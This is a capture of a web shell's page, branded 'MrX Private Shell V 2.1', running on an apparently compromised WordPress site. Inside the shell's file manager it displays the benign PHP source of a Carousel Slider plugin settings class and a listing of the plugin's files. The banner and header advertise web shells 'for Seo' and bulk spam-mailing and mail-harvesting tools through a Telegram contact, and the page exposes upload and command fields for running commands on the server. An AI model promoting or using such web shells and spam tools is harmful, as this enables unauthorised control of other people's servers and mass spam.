__  __    __   __  _____      _            _          _____ _          _ _ 
 |  \/  |   \ \ / / |  __ \    (_)          | |        / ____| |        | | |
 | \  / |_ __\ V /  | |__) | __ ___   ____ _| |_ ___  | (___ | |__   ___| | |
 | |\/| | '__|> <   |  ___/ '__| \ \ / / _` | __/ _ \  \___ \| '_ \ / _ \ | |
 | |  | | |_ / . \  | |   | |  | |\ V / (_| | ||  __/  ____) | | | |  __/ | |
 |_|  |_|_(_)_/ \_\ |_|   |_|  |_| \_/ \__,_|\__\___| |_____/|_| |_|\___V 2.1
 if you need WebShell for Seo everyday contact me on Telegram
 Telegram Address : @jackleet
        
        
For_More_Tools: Telegram: @jackleet | Bulk Smtp support mail sender | Business Mail Collector | Mail Bouncer All Mail | Bulk Office Mail Validator | Html Letter private



Upload:

Command:

[email protected]: ~ $
<?php

namespace CarouselSlider\Modules\ImageCarousel;

use CarouselSlider\Abstracts\SliderSetting;
use CarouselSlider\Supports\Validate;

/**
 * Setting class
 *
 * @method bool should_shuffle_images()
 * @method bool should_show_title()
 * @method bool should_show_caption()
 * @method bool should_show_lightbox()
 */
class Setting extends SliderSetting {
	/**
	 * Is data read from server?
	 *
	 * @var bool
	 */
	protected $extra_data_read = false;

	/**
	 * Get image ids
	 *
	 * @return array
	 */
	public function get_image_ids(): array {
		$ids = $this->get_prop( 'image_ids', [] );
		if ( is_string( $ids ) ) {
			$ids = array_filter( explode( ',', $ids ) );
		}
		if ( Validate::checked( $this->get_prop( 'shuffle_images' ) ) ) {
			shuffle( $ids );
		}

		return is_array( $ids ) ? $ids : [];
	}

	/**
	 * Get image target
	 *
	 * @return string
	 */
	public function get_image_target(): string {
		$target = $this->get_prop( 'image_target' );

		return in_array( $target, [ '_self', '_blank' ], true ) ? $target : '_self';
	}

	/**
	 * Read extra metadata
	 *
	 * @return void
	 */
	public function read_extra_metadata() {
		if ( $this->extra_data_read ) {
			return;
		}
		foreach ( self::extra_props() as $attribute => $config ) {
			$value = get_post_meta( $this->get_slider_id(), $config['id'], true );
			$value = ! empty( $value ) ? $value : $config['default'];
			$value = $this->prepare_item_for_response( $config['type'], $value );
			$this->set_prop( $attribute, $value );
		}
		$this->extra_data_read = true;
	}

	/**
	 * Slider extra props
	 *
	 * @return array
	 */
	public static function extra_props(): array {
		return [
			'image_ids'      => [
				'id'      => '_wpdh_image_ids',
				'type'    => 'int[]',
				'default' => '',
			],
			'shuffle_images' => [
				'id'      => '_shuffle_images',
				'type'    => 'bool',
				'default' => 'no',
			],
			'image_target'   => [
				'id'      => '_image_target',
				'type'    => 'string',
				'default' => '_self',
			],
			'show_title'     => [
				'id'      => '_show_attachment_title',
				'type'    => 'bool',
				'default' => 'off',
			],
			'show_caption'   => [
				'id'      => '_show_attachment_caption',
				'type'    => 'bool',
				'default' => 'off',
			],
			'show_lightbox'  => [
				'id'      => '_image_lightbox',
				'type'    => 'bool',
				'default' => 'off',
			],
		];
	}
}

Filemanager

Name Type Size Permission Actions
Admin.php File 8.62 KB 0775
ExternalImageItem.php File 2.17 KB 0775
Item.php File 2.84 KB 0775
Module.php File 2.38 KB 0775
Setting.php File 2.31 KB 0775
Template.php File 1.58 KB 0775
TemplateUrl.php File 1.76 KB 0775
UrlView.php File 1.54 KB 0775
View.php File 1.46 KB 0775
Filemanager